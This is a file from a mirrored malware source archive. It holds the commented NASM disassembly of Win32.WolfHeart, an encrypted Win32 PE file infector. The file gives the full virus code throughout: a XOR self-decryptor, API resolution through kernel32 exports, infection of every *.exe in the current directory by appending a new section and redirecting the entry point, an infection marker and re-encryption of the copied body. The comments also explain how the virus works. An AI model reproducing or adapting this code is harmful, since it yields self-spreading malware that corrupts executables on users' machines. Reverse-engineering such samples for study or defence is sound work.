mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
727 lines
18 KiB
NASM
727 lines
18 KiB
NASM
;Win32.WolfHeart aka win32.gen disassembly by DR-EF
|
|
;--------------------------------------------------
|
|
;Author:ByteSV/VHC
|
|
;Orgin:russia
|
|
;type: encrypted win32 pe infector
|
|
;description:
|
|
;------------
|
|
;when worlfheart running,it decrypt itself using a 32bit xor key,than
|
|
;its trying to get the GetModuleHandle api address,if that fail,its
|
|
;assume win32 kernel base is at 0BFF70000h,than its start to find needed
|
|
;api functions,after that its search the currect directory for *.exe,to
|
|
;infect pe file,wolfheart append new section,put its code at that section
|
|
;and encrypt it by 32bit key using xor method,than its set the host entry
|
|
;point to that section.to read/write from files,wolfheart using file mapping
|
|
|
|
|
|
|
|
|
|
|
|
|
|
.386
|
|
.model flat
|
|
.radix 16
|
|
extrn ExitProcess:proc
|
|
|
|
.data
|
|
|
|
db ?
|
|
|
|
.code
|
|
|
|
|
|
VirusStart:
|
|
pushad ;save registers
|
|
pushfd ;save flags
|
|
call Delta
|
|
Delta: pop ebp
|
|
sub ebp, offset Delta ;get delta offset into ebp
|
|
|
|
VirusKey equ ($-VirusStart+2)
|
|
|
|
mov eax, 00000000 ;decryption key here !
|
|
|
|
|
|
|
|
|
|
mov esi,offset EncryptedVirusStart ;set start of data to decrypt
|
|
add esi, ebp
|
|
mov ecx, SizeOfEncryptedVirus ;set size of encrypted virus
|
|
nop
|
|
@Decrypt:
|
|
xor dword ptr [esi], eax ;decrypt
|
|
inc esi
|
|
inc esi
|
|
inc esi
|
|
inc esi
|
|
loop @Decrypt ;decrypt virus loop
|
|
|
|
|
|
DecryptorSize equ ($-VirusStart)
|
|
|
|
|
|
|
|
EncryptedVirusStart:
|
|
|
|
|
|
mov ebx, 00400000 ;host image base
|
|
|
|
HostImageBase equ ($-4)
|
|
|
|
mov esi, ebx ;esi = host image base
|
|
|
|
|
|
mov edx,offset GMH
|
|
add edx, ebp
|
|
mov ecx, 00000010h
|
|
nop
|
|
mov dword ptr [ebp+StrAdd], edx
|
|
mov dword ptr [ebp+StrLen], ecx
|
|
call WolfHeart_GetGMHApi
|
|
jnb GMH_Success ;jnc
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
mov eax, 0BFF70000h ;search kernel fail,assume kernel at bff700000
|
|
jmp FindGPA
|
|
nop
|
|
nop
|
|
nop
|
|
GMH_Success:
|
|
mov edx, ebp
|
|
add edx,offset k32_dll
|
|
push edx ;push offset "KERNEL32.DLL"
|
|
call eax ;call GetModuleHandle
|
|
or eax, eax ;is eax==0 ?
|
|
je ReturnToHost ;if so get out
|
|
|
|
;FindGPA Function
|
|
;input:
|
|
;eax - kernel32 image base
|
|
|
|
|
|
|
|
FindGPA:
|
|
mov edx, dword ptr [ebp+HostImageBase] ;get host image base
|
|
push edx ;save it in the stack
|
|
mov edx, dword ptr [ebp+HostEntryPoint] ;get host entry point
|
|
push edx ;save it on the stack
|
|
mov esi, eax ;esi - kernel32 image base
|
|
mov esi, dword ptr [esi+3Ch] ;esi - rva to pe header
|
|
add esi, eax ;esi - pe header
|
|
mov edx, dword ptr [esi] ;read 4 bytes from start of pe header
|
|
cmp edx, 00004550 ;compare them with PE\0\0
|
|
jne ReturnToHost ;if not equal get out
|
|
xor edx, edx ;zero edx
|
|
mov esi, dword ptr [esi+78] ;get rva to exports
|
|
add esi, eax ;convert it to va
|
|
mov dword ptr [ebp+Export_Section], esi ;save export section offset
|
|
mov ecx, dword ptr [esi+18] ;get number of functions
|
|
mov ebx, dword ptr [esi+20] ;get rva to function names rva's array
|
|
add ebx, eax ;convert it to va
|
|
FindNApi:
|
|
mov edi, dword ptr [ebx] ;get rva to function name
|
|
add edi, eax ;convert it to va
|
|
cmp byte ptr [edi], 47 ;compare the first byte of the api name with 'G'
|
|
jne NotGPA ;if not equal move to next api
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
mov esi,offset GPA ;get offset to GetProcAddress string
|
|
add esi, ebp ;add delta offset
|
|
mov ecx, 0000000Eh ;GetProcAddress size
|
|
nop
|
|
repz cmpsb ;compare api name in the exports with "GetProcAddress"
|
|
jne NotGPA ;if not equal move to next api
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
cmp byte ptr [edi], 00 ;check for string zero termination
|
|
jne NotGPA
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
mov dword ptr [ebp+0040166Bh], eax ;save kernel32 base address
|
|
mov esi, dword ptr [ebp+Export_Section] ;get offset to export section
|
|
mov ecx, dword ptr [esi+24] ;get rva to ordinals array
|
|
add ecx, eax ;convert it to va
|
|
shl edx, 1 ;GetProcAddress position*2
|
|
mov edi, edx ;edi=GPA position*2
|
|
add edi, ecx ;edi=pointer to GPA oridinal
|
|
xor ebx, ebx ;zero ebx
|
|
mov bx, word ptr [edi] ;read GPA oridinal number
|
|
shl ebx, 02 ;ebx=(GPA oridinal number)*4
|
|
mov esi, dword ptr [esi+1Ch] ;get rva to functions addresses array
|
|
add esi, eax ;convert it to va
|
|
add esi, ebx ;add it the GPA position in this array
|
|
mov esi, dword ptr [esi] ;read rva to GPA function
|
|
add eax, esi ;get its va by adding the rva to the k32 base address
|
|
mov ebx, dword ptr [ebp+0040166Bh] ;ebx=k32 base address
|
|
jmp GetApis
|
|
nop
|
|
nop
|
|
nop
|
|
NotGPA: add ebx, 00000004 ;move to next api name rva
|
|
inc edx ;GPA position++
|
|
loop FindNApi
|
|
pop edi ;restore stack
|
|
jb ReturnToHost ;return to host
|
|
GetApis:mov esi, ebp
|
|
add esi,offset ApiAddresses_Table ;api addresses array
|
|
mov edi, ebp
|
|
add edi,offset ApiNamesTable ;api names array
|
|
NextApi:mov ecx, dword ptr [edi] ;read 4 bytes from the api name
|
|
or ecx, ecx ;if empty==there are no more apis
|
|
je NoMoreApis
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
push eax ;save k32 base in the stack
|
|
push edi ;api name
|
|
push ebx ;k32 base address
|
|
call eax ;call GetProcAddress
|
|
mov dword ptr [esi], eax ;save function address
|
|
pop eax ;restore k32 base address
|
|
add edi, 00000013 ;move to next api name
|
|
nop
|
|
nop
|
|
nop
|
|
add esi, 00000004 ;move to next api in the addresses table
|
|
jmp NextApi ;get more apis !
|
|
NoMoreApis:
|
|
int 3
|
|
mov edx,offset WIN32_FIND_DATA
|
|
add edx, ebp
|
|
push edx
|
|
sub edx,SM_Offset ;offset to search_mask
|
|
push edx
|
|
add edx,F_FirstFile ;FindFirstFile api
|
|
call dword ptr [edx] ;check if return value is 0
|
|
or eax, eax ;<-- wrong if FindFirstFile fail it return INVALID_HANDLE_VALUE which is -1
|
|
je ReturnToHost ;return to host if eax==0
|
|
mov dword ptr [ebp+find_handle], eax
|
|
NextFile:
|
|
mov eax, dword ptr [ebp+0040168Fh]
|
|
mov dword ptr [ebp+0040165Bh], eax
|
|
mov eax, dword ptr [ebp+00401693]
|
|
mov dword ptr [ebp+0040165Fh], eax
|
|
push 00000000
|
|
push 00000000
|
|
push 00000003
|
|
push 00000000
|
|
push 00000000
|
|
push 0C0000000h
|
|
mov edx, ebp
|
|
add edx,offset WFD_szFileName
|
|
push edx
|
|
mov eax, dword ptr [ebp+CreateFileA_]
|
|
call eax
|
|
jb MoveToNextFile ;if error move to next file
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
cmp eax, 0FFFFFFFFh ;canot open file ?
|
|
je MoveToNextFile ;move to next file
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
mov dword ptr [ebp+hfile], eax ;save file handle
|
|
call WolfHeart_InfectFile
|
|
mov eax, ebp
|
|
add eax,offset LastWriteTime
|
|
push eax
|
|
sub eax, 00000008 ;offset to LastAccessTime
|
|
push eax
|
|
sub eax, 00000008 ;offset to CreationTime
|
|
push eax
|
|
mov eax, dword ptr [ebp+hfile]
|
|
push eax
|
|
mov eax, dword ptr [ebp+SetFileTime_]
|
|
call eax ;call SetFileTime
|
|
mov eax, dword ptr [ebp+hfile]
|
|
push eax
|
|
mov eax, dword ptr [ebp+CloseHandle_]
|
|
call eax
|
|
MoveToNextFile:
|
|
|
|
mov edx, ebp
|
|
add edx,offset WIN32_FIND_DATA
|
|
push edx
|
|
mov eax, dword ptr [ebp+find_handle]
|
|
push eax
|
|
sub edx, FindNXTFile
|
|
call dword ptr [edx] ;call findnextfile api
|
|
or eax, eax ;error ?
|
|
jne NextFile ;if not,there are more files..
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ReturnToHost:
|
|
|
|
pop edx
|
|
pop eax
|
|
mov dword ptr [ebp+HostImageBase], eax
|
|
add edx, eax
|
|
mov dword ptr [ebp+HostEntryPoint], edx
|
|
popfd
|
|
popad
|
|
mov edx, offset FakeHost
|
|
|
|
HostEntryPoint equ ($-4)
|
|
|
|
push edx
|
|
ret
|
|
|
|
|
|
;input:
|
|
;eax - file handle
|
|
WolfHeart_InfectFile:
|
|
mov edx, eax
|
|
mov eax, dword ptr [ebp+0040165Bh]
|
|
or eax, eax
|
|
jne ExitInfect
|
|
push 00000000
|
|
mov eax, dword ptr [ebp+0040165Fh]
|
|
add eax, 00001C75h
|
|
push eax
|
|
push 00000000
|
|
push 00000004
|
|
push 00000000
|
|
push edx
|
|
mov eax, dword ptr [ebp+CreateFileMappingA_]
|
|
call eax ;create file mapping object
|
|
or eax, eax ;error ?
|
|
je ExitInfect
|
|
mov edx, dword ptr [ebp+0040165Fh]
|
|
add edx, 00001C75h
|
|
push edx
|
|
push 00000000
|
|
push 00000000
|
|
push 00000002
|
|
push eax
|
|
mov eax, dword ptr [ebp+MapViewOfFile_]
|
|
call eax ;map file into memory
|
|
or eax, eax
|
|
je ExitInfect
|
|
mov dword ptr [ebp+mapbase], eax ;save map base !
|
|
|
|
|
|
|
|
|
|
mov ebx, eax ;ebx <- map base
|
|
mov esi, eax ;esi <- map base
|
|
mov esi, dword ptr [esi+3Ch] ;read rva to pe header
|
|
add esi, ebx ;convert it to va,ESI==PE header !
|
|
mov eax, dword ptr [esi] ;read 4 bytes into eax
|
|
cmp eax, 00004550 ;compare with PE\0\0
|
|
jne ExitInfect_UnmapFile ;not equal get out
|
|
mov dword ptr [ebp+DistanceToMove], 00000000
|
|
mov ax, word ptr [esi+1Ah] ;get Major & Minor Linker Version(WolfHeart use them as infection sign)
|
|
cmp ax, 4206 ;already infected ?
|
|
je ExitInfect_UnmapFile ;exit
|
|
mov eax, dword ptr [edi+28] ;get ???(edi didnt setted)
|
|
mov dword ptr [ebp+HostEntryPoint], eax ;save as entry point
|
|
mov eax, dword ptr [edi+24] ;get ???(edi didnt setted)
|
|
mov dword ptr [ebp+HostImageBase], eax ;save as image base
|
|
mov edi, esi ;edi = pe header
|
|
xor eax, eax ;set eax to zero
|
|
mov eax, dword ptr [esi+74] ;get Number Of Rva And Sizes
|
|
shl eax, 03 ;eax=(Number Of Rva And Sizes)*8
|
|
add eax, 00000078
|
|
add edi, eax ;edi - first section header
|
|
mov ax, word ptr [esi+06] ;ax==number of sections
|
|
mov cx, 0028 ;cx==28h(size of section)
|
|
mul cx ;eax - size of all sections headers
|
|
add edi, eax ;edi - end of sections headers
|
|
mov eax, dword ptr [edi-20] ;get virtual size into eax
|
|
cdq ;zero edx
|
|
add eax, dword ptr [edi-1Ch] ;add virtual address
|
|
mov ecx, dword ptr [esi+38] ;get section alignment
|
|
div ecx
|
|
or edx, edx
|
|
je Set_VirtualAddress
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
inc eax
|
|
Set_VirtualAddress:
|
|
mul ecx
|
|
mov dword ptr [ebp+SH_VirtualAddress], eax ;set SH_VirtualAddress in section header
|
|
mov ecx, dword ptr [esi+3Ch] ;get file alignment
|
|
mov eax, 00000617 ;eax - virus size
|
|
cdq ;zero edx
|
|
div ecx
|
|
or edx, edx
|
|
je Set_SizeOfRawData
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
inc eax
|
|
Set_SizeOfRawData:
|
|
mul ecx
|
|
mov dword ptr [ebp+SH_SizeOfRawData], eax ;set SH_SizeOfRawData in section header
|
|
mov eax, 00000875
|
|
cdq ;zero edx
|
|
div ecx
|
|
or edx, edx
|
|
je Set_VirtualSize
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
inc eax
|
|
Set_VirtualSize:
|
|
mul ecx
|
|
mov dword ptr [ebp+SH_VirtualSize], eax ;set SH_VirtualSize
|
|
mov eax, dword ptr [edi-14] ;get pointer to raw data
|
|
add eax, dword ptr [edi-18] ;add to it size of raw data
|
|
mov ecx, dword ptr [esi+3Ch] ;get file alignment
|
|
div ecx ;eax/ecx=where to store virus
|
|
or edx, edx
|
|
je Set_PointerToRawData
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
inc eax
|
|
Set_PointerToRawData:
|
|
mul ecx
|
|
mov dword ptr [ebp+SH_PointerToRawData], eax;set SH_PointerToRawData
|
|
push esi ;save pe header in the stack
|
|
mov esi, ebp
|
|
add esi,offset SH_Name ;esi - start of section
|
|
mov ecx, 0000000Ah
|
|
repz movsd ;append new section
|
|
pop esi ;restore pe header into esi
|
|
inc word ptr [esi+06] ;update number of sections
|
|
mov ax, 4206 ;ax=infection sign
|
|
mov word ptr [esi+1Ah], ax ;mark file as infected
|
|
mov eax, dword ptr [esi+34] ;get host image base
|
|
mov dword ptr [ebp+HostImageBase], eax ;save it
|
|
mov eax, dword ptr [esi+28] ;get host entry point
|
|
mov dword ptr [ebp+HostEntryPoint], eax ;save it
|
|
mov eax, dword ptr [ebp+SH_VirtualAddress] ;get virus section virtual size
|
|
mov dword ptr [esi+28], eax ;set new entry point to the virus section start
|
|
mov edi, dword ptr [ebp+SH_PointerToRawData];get pointer to raw data of the virus
|
|
add edi, ebx ;add map base to it
|
|
push edi ;save virus section raw data offset in the stack
|
|
mov esi, ebp
|
|
add esi,offset VirusStart ;esi - virus start
|
|
mov ecx, 00000186 ;ecx - virus size in dwords
|
|
nop
|
|
cld ;clear direction flag
|
|
repz movsd ;copy virus into the host
|
|
pop edi ;restore virus offset in file
|
|
mov esi, edi
|
|
add edi, DecryptorSize
|
|
mov ecx, SizeOfEncryptedVirus
|
|
nop
|
|
mov eax, dword ptr [ebp+00401677]
|
|
mov dword ptr [esi+VirusKey], eax
|
|
@Encrypt:
|
|
xor dword ptr [edi], eax
|
|
inc edi
|
|
inc edi
|
|
inc edi
|
|
inc edi
|
|
loop @Encrypt
|
|
mov dword ptr [ebp+DistanceToMove], 00000617
|
|
|
|
ExitInfect_UnmapFile:
|
|
mov eax, dword ptr [ebp+mapbase]
|
|
push eax
|
|
mov eax, dword ptr [ebp+UnmapViewOfFile_]
|
|
call eax
|
|
push 00000000 ;FILE_BEGIN
|
|
push 00000000 ;lpDistanceToMoveHigh
|
|
mov eax, dword ptr [ebp+00401693]
|
|
add eax, dword ptr [ebp+DistanceToMove]
|
|
push eax ;lDistanceToMove
|
|
push dword ptr [ebp+hfile] ;hFile
|
|
mov eax, dword ptr [ebp+SetFilePointer_] ;call SetFilePointer
|
|
call eax
|
|
push dword ptr [ebp+hfile]
|
|
mov eax, dword ptr [ebp+SetEndOfFile_]
|
|
call eax
|
|
ExitInfect:
|
|
ret
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;Get the GetModuleHandle from import section of the host
|
|
;input:
|
|
;esi - image base
|
|
;ebx - image base
|
|
;ecx - size of api name string
|
|
;edx - pointer to name
|
|
WolfHeart_GetGMHApi:
|
|
cmp word ptr [esi], 5A4Dh ;check mz sign
|
|
jne FindApiInImportErr ;if error exit
|
|
mov esi,dword ptr [esi+3Ch] ;goto pe header
|
|
add esi,ebx ;add image base
|
|
cmp dword ptr [esi], 00004550 ;check for pe\0\0
|
|
jne FindApiInImportErr ;if error exit
|
|
mov ecx,dword ptr [esi+00000084h] ;get size of import section
|
|
add ecx,ebx ;add it the image base
|
|
mov esi,dword ptr [esi+00000080h] ;get import data rva
|
|
add esi,ebx ;convert it to va
|
|
mov edi,esi ;edi = import section
|
|
NxtDll: mov esi, dword ptr [esi+0Ch] ;get rva to dll name
|
|
or esi, esi ;no more dlls ?
|
|
je FindApiInImportErr ;exit than
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
add esi, ebx ;convert dll name rva to va
|
|
mov eax, dword ptr [esi] ;get first 4 bytes of dll name into
|
|
and eax, 0DFDFDFDFh ;convert bytes to upper case
|
|
cmp eax, 4E52454Bh ;compare them with "NREK"(kernel32.dll)
|
|
je ScanImportsFromK32 ;scan k32 IMAGE_THUNK_DATA structures
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
add edi, 00000014h ;move to next IMAGE_IMPORT_DESCRIPTOR structure
|
|
mov esi, edi
|
|
cmp edi, ecx ;is it end of import section?
|
|
jg NxtDll ;if no,scan for more dlls
|
|
ScanImportsFromK32:
|
|
mov dword ptr [ebp+image_import_desc], edi ;save k32 IMAGE_IMPORT_DESCRIPTOR
|
|
mov edx, dword ptr [edi+10h] ;get rva to IMAGE_IMPORT_BYNAME structure(First Thunk)
|
|
add edx, ebx ;convert it to va
|
|
mov edi, dword ptr [edi] ;get rva to IMAGE_IMPORT_BYNAME structure(Characteristics)
|
|
add edi, ebx ;convert it to va
|
|
NxtIBN: mov dword ptr [ebp+Import_By_Name], edi ;save import by name offset
|
|
mov eax, dword ptr [edi] ;get api name
|
|
or eax, eax
|
|
je FindApiInImportErr
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
mov edi, dword ptr [edi]
|
|
add edi, ebx
|
|
inc edi
|
|
inc edi
|
|
mov ecx, 00000000
|
|
|
|
StrLen equ ($-4)
|
|
|
|
mov esi, 00000000
|
|
|
|
StrAdd equ ($-4)
|
|
|
|
repz cmpsb
|
|
je FindApiInImport_Success
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
mov edi, dword ptr [ebp+Import_By_Name] ;get import by name
|
|
add edi, 00000004 ;move to next import by name
|
|
add edx, 00000004
|
|
jmp NxtIBN
|
|
FindApiInImport_Success:
|
|
mov edi, edx
|
|
mov eax, dword ptr [edi]
|
|
mov dword ptr [ebp+0040164Fh], eax
|
|
clc
|
|
ret
|
|
FindApiInImportErr:
|
|
stc
|
|
ret
|
|
ret
|
|
|
|
;wolfheart's data:
|
|
|
|
k32_dll db "KERNEL32.DLL",0
|
|
|
|
GMH db "GetModuleHandleA"
|
|
|
|
GPA db "GetProcAddress"
|
|
|
|
|
|
SM_Offset equ (WIN32_FIND_DATA-$-3)
|
|
|
|
search_mask db "*.exe",0
|
|
|
|
|
|
|
|
;New section to add:
|
|
|
|
SH_Name DB ".ByteSV",0
|
|
SH_VirtualSize DD 0
|
|
SH_VirtualAddress DD 0
|
|
SH_SizeOfRawData DD 0
|
|
SH_PointerToRawData DD 0
|
|
SH_PointerToRelocations DD 0
|
|
SH_PointerToLinenumbers DD 0
|
|
SH_NumberOfRelocations DW 0
|
|
SH_NumberOfLinenumbers DW 0
|
|
SH_Characteristics DD 600000E0h
|
|
|
|
|
|
;copyright string
|
|
db "[Win32.Wolfheart.1481] (c) ByteSV/VHC",0
|
|
|
|
|
|
|
|
ApiNamesTable:
|
|
|
|
;comment:
|
|
;wolfheart align api name by 19 bytes..
|
|
|
|
|
|
db "FindFirstFileA"
|
|
db 5 dup(0)
|
|
db "FindNextFileA"
|
|
db 6 dup(0)
|
|
db "CloseHandle"
|
|
db 8 dup(0)
|
|
db "CreateFileA"
|
|
db 8 dup(0)
|
|
db "WriteFile"
|
|
db 0ah dup(0)
|
|
db "ReadFile"
|
|
db 0bh dup(0)
|
|
db "CreateFileMappingA",0
|
|
db "MapViewOfFile"
|
|
db 6 dup(0)
|
|
db "UnmapViewOfFile"
|
|
db 4 dup(0)
|
|
db "SetFilePointer"
|
|
db 5 dup(0)
|
|
db "SetEndOfFile"
|
|
db 7 dup(0)
|
|
db "SetFileTime"
|
|
db 0eh dup(0)
|
|
|
|
F_FirstFile equ ($-offset search_mask)
|
|
|
|
ApiAddresses_Table: ;(00401617)
|
|
|
|
|
|
FindFirstFileA_ dd 0 ;17
|
|
FindNextFileA_ dd 0 ;1b
|
|
CloseHandle_ dd 0 ;1f
|
|
CreateFileA_ dd 0 ;23
|
|
WriteFile_ dd 0 ;27
|
|
ReadFile_ dd 0 ;2b
|
|
CreateFileMappingA_ dd 0 ;2f
|
|
MapViewOfFile_ dd 0 ;33
|
|
UnmapViewOfFile_ dd 0 ;37
|
|
SetFilePointer_ dd 0 ;3b
|
|
SetEndOfFile_ dd 0 ;3f
|
|
SetFileTime_ dd 0 ;43
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Import_By_Name dd 0
|
|
|
|
image_import_desc dd 0
|
|
|
|
;:0040-1647 00000000000000 BYTE 10 DUP(0)
|
|
;:0040164E 0000000000
|
|
|
|
|
|
find_handle dd 0
|
|
|
|
|
|
|
|
|
|
; 00 BYTE 10 DUP(0)
|
|
|
|
hfile dd 0
|
|
|
|
;:0040165b 00000000000000 BYTE 7 DUP(0)
|
|
;:00401662 00
|
|
mapbase dd 0
|
|
|
|
|
|
|
|
Export_Section dd 0
|
|
;;00401-667
|
|
;:0040166C 000000
|
|
|
|
|
|
DistanceToMove dd 0
|
|
|
|
|
|
FindNXTFile equ ($-FindNextFileA_)
|
|
|
|
|
|
|
|
Search_Mask equ (WIN32_FIND_DATA-search_mask)
|
|
|
|
FILETIME STRUC
|
|
FT_dwLowDateTime DD ?
|
|
FT_dwHighDateTime DD ?
|
|
FILETIME ENDS
|
|
|
|
|
|
WIN32_FIND_DATA:
|
|
WFD_dwFileAttributes DD ?
|
|
WFD_ftCreationTime FILETIME ?
|
|
WFD_ftLastAccessTime FILETIME ?
|
|
WFD_ftLastWriteTime FILETIME ?
|
|
WFD_nFileSizeHigh DD ?
|
|
WFD_nFileSizeLow DD ?
|
|
WFD_dwReserved0 DD ?
|
|
WFD_dwReserved1 DD ?
|
|
WFD_szFileName DB 0ffh DUP (?)
|
|
WFD_szAlternateFileName DB 13 DUP (?)
|
|
DB 3 DUP (?) ; dword padding
|
|
|
|
|
|
MAX_PATH equ 0ffh
|
|
|
|
|
|
CreationTime FILETIME ?
|
|
LastAccessTime FILETIME ?
|
|
LastWriteTime FILETIME ?
|
|
|
|
|
|
|
|
SizeOfEncryptedVirus equ ($-EncryptedVirusStart)
|
|
|
|
; 00000000 BYTE 10 DUP(0)
|
|
;:0040168A 00000000000000000000 BYTE 10 DUP(0)
|
|
|
|
VirusEnd equ ($-VirusStart)
|
|
FakeHost:
|
|
push eax
|
|
call ExitProcess
|
|
|
|
|
|
end VirusStart
|